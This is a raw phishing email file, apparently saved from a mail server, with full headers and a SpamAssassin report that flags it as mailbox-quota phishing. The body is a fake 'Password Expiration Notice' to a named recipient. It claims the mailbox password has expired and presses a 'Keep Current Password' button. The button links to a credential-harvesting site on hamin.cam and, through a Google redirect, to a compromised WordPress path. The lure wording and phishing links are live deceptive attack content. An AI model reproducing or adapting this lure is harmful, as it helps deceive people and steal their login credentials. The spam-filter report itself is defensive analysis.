Google

Edit File: 1765784962.M820294P1603340.server-619288.prediksijaya.com,S=9449,W=9625:2,a

Envelope-to: vavadainua@ponjosonek.com
Delivery-date: Mon, 15 Dec 2025 14:49:22 +0700
From: "ponjosonek.com" <admin@wejob-fr.cam>
To: <vavadainua@ponjosonek.com>
Content-Type: multipart/alternative; boundary="3RuPPO9oYglzJUCMdP4Or9Wxu964=_ABvj"
MIME-Version: 1.0
Date: Mon, 15 Dec 2025 08:25:31 +0100
Message-Id: <15312025122508FA6803A40E$38AFE95EBC@wejob-fr.cam>
 
 Content analysis details: (23.9 points, 5.0 required)
 pts rule name description
 ---- ---------------------- --------------------------------------------------
 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
 query to Validity was blocked. See
 https://knowledge.validity.com/hc/en-us/articles/20961730681243
 for more information.
 [172.93.167.140 listed in sa-trusted.bondedsender.org]
 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
 See
 http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
 for more information.
 [URI: wejob-fr.cam]
 [URI: bed.za.com]
 [URI: hamin.cam]
 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
 Validity was blocked. See
 https://knowledge.validity.com/hc/en-us/articles/20961730681243
 for more information.
 [172.93.167.140 listed in sa-accredit.habeas.com]
 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
 Validity was blocked. See
 https://knowledge.validity.com/hc/en-us/articles/20961730681243
 for more information.
 [172.93.167.140 listed in bl.score.senderscore.com]
 1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist
 [URI: bed.za.com]
 -0.0 SPF_PASS SPF: sender matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
 envelope-from domain
 1.5 DEAR_EMAIL BODY: Message contains Dear email address
 0.0 HTML_MESSAGE BODY: HTML included in message
 0.0 KAM_SHORT Use of a URL Shortener for very short URL
 1.5 KAM_GOOGLE_REDIR Use of Google redir
 3.0 KAM_SOME_2TLD_ARE_BAD Some 2TLD and hosting sites are bad
 3.0 KAM_SA_ZA_ABUSE 2TLD Providers prevalent in spam abuse
 0.0 GOOG_REDIR_FRAUD Google redirect to obscure spamvertised website +
 fraud keywords
 0.5 GOOG_REDIR_NOTRDNS Google redirect to obscure spamvertised website +
 HELO is not rDNS
 2.1 URI_WP_HACKED_2 URI for compromised WordPress site, possible malware
 5.0 KAM_SOMETLD_ARE_BAD_TLD .bar, .beauty, .buzz, .cam, .casa, .cfd,
 .club, .date, .guru, .link, .live, .monster,
 .press, .pw, .quest, .rest, .sbs, .shop,
 .stream, .top, .trade, .wiki, .work, .xyz TLD
 abuse
 5.5 KAM_MAILBOX2 Mailbox Quota Phishing Scams
X-Spam-Flag: YES
Subject: Password Expiration Notice

This is a multi-part message in MIME format

--3RuPPO9oYglzJUCMdP4Or9Wxu964=_ABvj
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear vavadainua@ponjosonek.com,

The password to your mailbox vavadainua@ponjosonek.com has expired.=20=

System will log you out and generate a new password exactly at 24 hour=
s from 15 December 2025.
You can continue using your current password. Use the button below to =
keep using current password..

Keep Current Password https://hamin.cam/clearup/?jivsbsdnoo=3Dvavadain=
ua@ponjosonek.com

Note: This is a user verification, designed to shut down malicious use=
rs and other fraudulent activities of the robot.

--3RuPPO9oYglzJUCMdP4Or9Wxu964=_ABvj
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html><head>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-=
8859-1">
 <body<DIV style=3D"TEXT-DECORATION: none; WHITE-SPACE: normal; WORD-=
SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0=
); FONT-STYLE: normal; LETTER-SPACING: normal; TEXT-INDENT: 0px; -webk=
it-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-varian=
t-caps: normal; caret-color: rgb(0, 0, 0)" dir=3Dltr><title>Password E=
xpiration Notice</title>
 </head>
 <BODY> Dear vavadainua@ponjosonek.com,<=
BR>&nbsp; The password to your&nbsp;mailbox &nbsp;vav=
adainua@ponjosonek.com &nbsp;has expired. System will log you out and generate a new pass=
word exactly&nbsp;at 24 hours from&nbsp;15 December 2025. <B=
R>You can continue using your curren=
t password. Use the button below to keep using current password..</SPA=
N> &nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;<A style=3D=
"BORDER-TOP: rgb(0,166,63) 14px solid; BORDER-RIGHT: rgb(0,166,63) 14p=
x solid; BORDER-BOTTOM: rgb(0,166,63) 14px solid; COLOR: rgb(0,166,63)=
; BORDER-LEFT: rgb(0,166,63) 14px solid; BACKGROUND-COLOR: rgb(0,166,6=
3); text-decoration-line: none" href=3D"https://hamin.cam/clearup/?jiv=
sbsdnoo=3Dvavadainua@ponjosonek.com" rel=3D"noopener noreferrer" targe=
t=3D_blank data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttp=
s://bed.za.com/wp-includes/jsjskshs/?i%3Di%260%3Djason4jacob@yandex.co=
m&amp;source=3Dgmail&amp;ust=3D1765849269194000&amp;usg=3DAOvVaw32Rk1r=
gO7AlqkJyYmyc_HN">&nbsp;&nbsp; Keep Current Pass=
word </A> <SPAN style=3D"BORDER-LEFT-WIDTH: 0px=
; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALIGN: baseline; BORDER-BOTTOM-WID=
TH: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MAR=
GIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px">&nbsp;Note: This =
is a user verification, designed to shut down malicious users and othe=
r fraudulent activities of the robot. </body>
 </html>

--3RuPPO9oYglzJUCMdP4Or9Wxu964=_ABvj--